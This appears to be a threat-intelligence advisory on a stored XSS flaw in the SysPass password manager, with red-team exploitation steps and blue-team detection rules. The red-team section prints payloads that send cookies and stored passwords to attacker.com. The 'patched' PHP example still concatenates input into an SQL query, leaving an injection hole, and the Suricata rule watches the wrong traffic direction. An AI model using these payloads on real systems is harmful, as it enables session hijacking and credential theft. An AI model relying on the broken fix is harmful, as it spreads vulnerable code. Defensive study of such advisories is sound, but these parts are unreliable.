CVE-2024-42904

Executive Summary

CVE-2024-42904 is a stored Cross-Site Scripting (XSS) vulnerability identified in SysPass version 3.2.x. The flaw resides in the /Controllers/ClientController.php file, where the name parameter is insufficiently sanitized. An authenticated attacker with client management privileges can inject arbitrary web scripts or HTML. When an administrator or other privileged user views the affected client list, the injected payload executes in their browser session, potentially leading to session hijacking, credential theft, or further lateral movement within the SysPass application.

This vulnerability is particularly dangerous in a password management context, as SysPass stores sensitive credentials. Successful exploitation could allow an attacker to exfiltrate vault data, modify stored passwords, or escalate privileges within the application.

Supply Chain & Package Security

SysPass is a self-hosted PHP application. The vulnerability is not in a package manager dependency (NPM, PyPI, Go, Ruby) but in the core application code. Organizations should verify the integrity of their SysPass installation and monitor for official patches or workarounds.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Threat Level: Medium (5.4) – Exploitation requires authentication and user interaction, but the potential impact on a password manager is significant.

Deep Dive & Mechanics

The vulnerability exists in the client management functionality of SysPass. The name parameter in /Controllers/ClientController.php is used to create or update client records. The application fails to properly sanitize or encode this input before storing it in the database and later rendering it in the web interface.

Attack Flow:

1. Attacker authenticates to SysPass with an account that has client management permissions.
2. Attacker crafts a malicious payload (e.g., <script>alert('XSS')</script>) and submits it via the name parameter when creating or editing a client.
3. The payload is stored in the database without sanitization.
4. When an administrator or other user navigates to the client list page, the payload is rendered in the HTML without proper encoding.
5. The victim's browser executes the injected script, which can:
   • Steal session cookies (document.cookie)
   • Perform actions on behalf of the victim (CSRF)
   • Exfiltrate sensitive data from the page
   • Redirect to phishing pages

Root Cause: The application uses user-supplied input directly in HTML output without context-aware encoding. The name field is likely echoed in a table cell or similar element without using htmlspecialchars() or equivalent escaping functions.

Vulnerable vs. Patched Code

Vulnerable Code (SysPass 3.2.x):

// /Controllers/ClientController.php (simplified)
public function createClient($name) {
    $query = "INSERT INTO clients (name) VALUES ('$name')";
    $this->db->query($query);
}

// In the view (likely a template file)
echo "<td>" . $client['name'] . "</td>";

Patched Code (Expected fix):

// /Controllers/ClientController.php (patched)
public function createClient($name) {
    $sanitized_name = htmlspecialchars($name, ENT_QUOTES, 'UTF-8');
    $query = "INSERT INTO clients (name) VALUES ('$sanitized_name')";
    $this->db->query($query);
}

// In the view (patched)
echo "<td>" . htmlspecialchars($client['name'], ENT_QUOTES, 'UTF-8') . "</td>";

The patch should apply output encoding both at the point of storage (defense in depth) and at every point of rendering. The use of htmlspecialchars() with ENT_QUOTES ensures that both single and double quotes are encoded, preventing attribute-based XSS vectors.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A running SysPass 3.2.x instance
• Valid credentials with client management privileges
• Network access to the SysPass web interface

Exploitation Steps:

1. Authenticate to SysPass and navigate to the client management section.

2. Craft the payload. A simple proof-of-concept:

   <script>alert(document.cookie)</script>
   

   For a more impactful attack, use a payload that exfiltrates data:

   <script>
   fetch('https://attacker.com/steal?cookie=' + document.cookie);
   </script>
   

3. Inject the payload via the name parameter. This can be done through the web form or by sending a direct HTTP request:

   POST /Controllers/ClientController.php HTTP/1.1
   Host: target-syspass.local
   Content-Type: application/x-www-form-urlencoded
   Cookie: PHPSESSID=attacker_session
   
   action=create&name=<script>alert('XSS')</script>
   

4. Trigger the XSS. The attacker must wait for an administrator or other user to view the client list. Alternatively, the attacker can use social engineering to lure a victim to the page.

Advanced Payload (Session Hijacking):

<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', '/api.php?action=getPasswords', true);
xhr.withCredentials = true;
xhr.onload = function() {
    fetch('https://attacker.com/exfil', {method: 'POST', body: xhr.responseText});
};
xhr.send();
</script>

Blue Team (Defensive)

Detection & Response:

1. Monitor for suspicious client names. Look for entries containing <script>, onerror=, javascript:, or other HTML/JavaScript constructs in the name field.

2. Web Application Firewall (WAF) Rules:

   # Nginx WAF rule to block XSS in client name
   location /Controllers/ClientController.php {
       if ($args ~* "(<script|onerror|onload|javascript:)") {
           return 403;
       }
   }
   

3. Input Validation: Implement server-side validation to reject any client name containing HTML tags or JavaScript event handlers.

4. Content Security Policy (CSP): Deploy a strict CSP header to mitigate the impact of XSS:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'
   

5. Audit Logs: Enable detailed audit logging for client creation/modification and monitor for anomalous patterns.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /Controllers/ClientController.php with name parameter containing HTML/JavaScript
• Outbound connections to unknown domains from the SysPass server (data exfiltration)
• Unusual Referer headers pointing to client management pages

Host IOCs:

• Database entries in the clients table with name fields containing <script> tags or event handlers
• Web server logs showing 200 responses to /Controllers/ClientController.php with suspicious payloads
• Temporary files in /tmp or web-accessible directories created by XSS payloads

File IOCs:

• Modified /Controllers/ClientController.php (if attacker has file write access)
• Suspicious entries in SysPass configuration files

Detection Engineering

YARA Rule

rule CVE_2024_42904_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting SysPass CVE-2024-42904"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-42904"
        severity = "medium"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/i
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/i
        $xss4 = /javascript\s*:\s*/i
        $xss5 = /<img[^>]+onerror/i
        $xss6 = /<svg[^>]+onload/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: SysPass CVE-2024-42904 XSS Attempt
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit stored XSS in SysPass client name parameter
author: Valters IT
date: 2024-10-27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-42904
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/Controllers/ClientController.php'
        cs-uri-query|contains|any:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in client names (unlikely)
level: medium
tags:
    - attack.t1059.007
    - cve.2024.42904

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-42904 SysPass XSS Payload in Client Name";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/Controllers/ClientController.php";
    http_uri;
    pcre:"/(<script|onerror=|onload=|javascript:)/Pi";
    reference:cve,2024-42904;
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable client management for non-administrative users until a patch is applied.
2. Implement input validation on the name parameter to reject HTML/JavaScript.
3. Apply output encoding in all templates that render client names.

Long-term Fix:

• Upgrade to a patched version of SysPass once available.
• If no patch is forthcoming, manually apply the fix by modifying /Controllers/ClientController.php and all associated view files to use htmlspecialchars() with ENT_QUOTES and UTF-8 encoding.

Workaround:

• Use a reverse proxy (Nginx/Apache) to filter malicious input:

  location /Controllers/ClientController.php {
      if ($args ~* "(<script|onerror|onload|javascript:)") {
          return 403;
      }
  }
  

Monitoring:

• Enable detailed logging for all client management actions.
• Set up alerts for any XSS-related patterns in web server logs.
• Regularly review client entries for suspicious content.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert